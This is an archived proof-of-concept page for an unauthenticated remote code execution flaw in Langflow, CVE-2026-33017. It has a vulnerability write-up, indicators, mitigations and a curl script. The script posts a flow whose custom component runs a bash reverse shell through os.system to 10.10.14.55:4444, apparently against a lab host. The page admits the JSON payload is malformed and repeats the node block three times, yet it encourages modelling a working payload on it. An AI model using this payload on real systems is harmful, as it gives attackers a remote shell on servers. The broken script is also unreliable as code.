PoC Archive PoC Archive
Critical CVE-2026-33017 unpatched

Langflow Custom Component Remote Code Execution — CVE-2026-33017

by yayip · 2026-07-05

Severity
Critical
CVE
CVE-2026-33017
Category
web
Affected product
Langflow (flow-building / LLM pipeline platform)
Affected versions
Not specified in source
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-07
Author / Researcheryayip
CVE / AdvisoryCVE-2026-33017
Categoryweb
SeverityCritical
CVSS ScoreNot specified in source
StatusPoC
Tagslangflow, rce, custom-component, code-execution, flow-builder, reverse-shell, curl
RelatedN/A

Affected Target

FieldValue
Software / SystemLangflow (flow-building / LLM pipeline platform)
Versions AffectedNot specified in source
Language / PlatformBash/curl PoC targeting Langflow’s REST API (Python backend)
Authentication RequiredNo (uses a client_id cookie value only, no real auth demonstrated)
Network Access RequiredYes

Summary

Langflow exposes a REST API endpoint that builds and runs a “flow” — a graph of nodes describing a data/LLM pipeline. One of the supported node types is a generic custom component whose code field is arbitrary Python that Langflow imports and executes server-side to produce the component’s Component class. Because the API accepts this code from the client without restriction, an attacker can submit a flow containing a single malicious component whose code executes an OS command (in this PoC, a reverse shell) at load/definition time via os.system(), before the component is ever actually invoked as part of the flow logic. The PoC is a raw curl command posting a JSON flow definition to /api/v1/build_public_tmp/{flow_id}/flow with the malicious code embedded in the node’s code template field.


Vulnerability Details

Root Cause

The flow-build API executes attacker-supplied Python source code that is embedded in a custom component definition, with no sandboxing or restriction on what that code can do at import/class-definition time (e.g., calling os.system() before the component’s own logic ever runs).

Attack Vector

  1. Identify a reachable Langflow instance and a build_public_tmp/flow-build API endpoint that accepts a flow definition.
  2. Craft a JSON flow containing a single genericNode whose component code field imports the required Langflow component base classes and includes a top-level os.system(...) call (e.g., spawning a reverse shell) alongside the required component class definition.
  3. POST the JSON payload to the flow-build endpoint.
  4. When Langflow parses/loads the component code to build the flow, the embedded OS command executes on the server.

Impact

Unauthenticated or low-privilege remote code execution on the host running Langflow, potentially leading to full server compromise.


Environment / Lab Setup

Target:   Langflow instance with an internet/network-reachable flow-build REST API
Attacker: curl, a listener (e.g., `nc -lvnp 4444`) to catch the reverse shell

Proof of Concept

PoC Script

See bashcmd.sh in this folder. Note: the JSON payload in the upstream file is malformed/duplicated (the nodes array and node object appear repeated three times, apparently a copy-paste artifact from the original author) — the overall approach (single malicious genericNode with a code field executing os.system) is genuine and is the part to model a working payload on.

1
bash bashcmd.sh

Posts a crafted flow JSON containing a malicious custom component to the target Langflow API; if the flow-build step executes the embedded code, a reverse shell connects back to the attacker’s listener.


Detection & Indicators of Compromise

POST /api/v1/build_public_tmp/<uuid>/flow 200

Signs of compromise:

  • Flow-build API calls whose component code field contains os.system, subprocess, or shell/network primitives
  • Unexpected outbound connections (e.g., to attacker IP/port) originating from the Langflow process
  • New unrecognized child processes spawned by the Langflow backend service

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-05 — monitor for advisory
Interim mitigationRestrict/authenticate access to flow-build and custom-component APIs, run Langflow in a sandboxed/least-privilege environment, and disable or tightly control arbitrary custom-component code execution

References


Notes

Mirrored from https://github.com/yayip/CVE-2026-33017 on 2026-07-05.

bashcmd.sh
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
curl -sk -X POST "https://flow.fireflow.htb/api/v1/build_public_tmp/7d84d636-af65-42e4-ac38-26e867052c25/flow" \                                                        
  -H "Content-Type: application/json" \
  -b "client_id=attacker" \
  -d '{          
    "data": {               
      "nodes": [{             
        "id": "Exploit-001",      
        "type": "genericNode",
        "position": {"x":0,"y":0},
        "data": {               
          "id": "Exploit-001",
          "type": "ExploitComp",
          "node": {    
            "template": {      
              "code": {          
                "type": "code",
                "required": true, 
                "show": true,
                "multiline": true,
                "value": "import os\n\n_x = os.system(\"bash -c '\''bash -i >& /dev/tcp/10.10.14.55/4444 0>&1'\''\")\n\nfrom lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n    display_name=\"X\"\n    outputs=[Output(display_name=\"O\",name=\"o\",method=\"r\")]\n    def r(self)->Data:\n        return Data(data={})",             
                "name": "code",   
                "password": false,
                "advanced": false,
                "dynamic": false
              },                     
              "_type": "Component"        
            },                    
            "description": "X",      
            "base_classes": ["Data"],     
            "display_name": "ExploitComp",
            "name": "ExploitComp",  
            "frozen": false,
            "outputs": [{"types":["Data"],"selected":"Data","name":"o","display_name":"O","method":"r","value":"__UNDEFINED__","cache":true,"allows_loop":false,"tool_mode":false,"hidden":null,"required_inputs":null,"group_outputs":false}],
            "field_order": ["code"],
            "beta": false, 
            "edited": false
          }
        }
      }],        
      "edges": []                                                                                                                                                                                   
    },
          "type": "ExploitComp",
          "node": {    
            "template": {      
              "code": {          
                "type": "code",
                "required": true, 
                "show": true,
                "multiline": true,
                "value": "import os\n\n_x = os.system(\"bash -c '\''bash -i >& /dev/tcp/10.10.14.55/4444 0>&1'\''\")\n\nfrom lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n    display_name=\"X\"\n    outputs=[Output(display_name=\"O\",name=\"o\",method=\"r\")]\n    def r(self)->Data:\n        return Data(data={})",             
                "name": "code",   
                "password": false,
                "advanced": false,
                "dynamic": false
              },                     
              "_type": "Component"        
            },                    
            "description": "X",      
            "base_classes": ["Data"],     
            "display_name": "ExploitComp",
            "name": "ExploitComp",  
            "frozen": false,
            "outputs": [{"types":["Data"],"selected":"Data","name":"o","display_name":"O","method":"r","value":"__UNDEFINED__","cache":true,"allows_loop":false,"tool_mode":false,"hidden":null,"required_inputs":null,"group_outputs":false}],
            "field_order": ["code"],
            "beta": false, 
            "edited": false
          }
        }         
      }],        
      "edges": []                                                                                                                                                                                   
    },
         
      }],        
      "edges": []                                                                                                                                                                                   
    },
          "type": "ExploitComp",
          "node": {    
            "template": {      
              "code": {          
                "type": "code",
                "required": true, 
                "show": true,
                "multiline": true,
                "value": "import os\n\n_x = os.system(\"bash -c '\''bash -i >& /dev/tcp/10.10.14.55/4444 0>&1'\''\")\n\nfrom lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n    display_name=\"X\"\n    outputs=[Output(display_name=\"O\",name=\"o\",method=\"r\")]\n    def r(self)->Data:\n        return Data(data={})",             
                "name": "code",   
                "password": false,
                "advanced": false,
                "dynamic": false
              },                     
              "_type": "Component"        
            },                    
            "description": "X",      
            "base_classes": ["Data"],     
            "display_name": "ExploitComp",
            "name": "ExploitComp",  
            "frozen": false,
            "outputs": [{"types":["Data"],"selected":"Data","name":"o","display_name":"O","method":"r","value":"__UNDEFINED__","cache":true,"allows_loop":false,"tool_mode":false,"hidden":null,"required_inputs":null,"group_outputs":false}],
            "field_order": ["code"],
            "beta": false, 
            "edited": false
          }
        }         
      }],        
      "edges": []                                                                                                                                                                                   
    },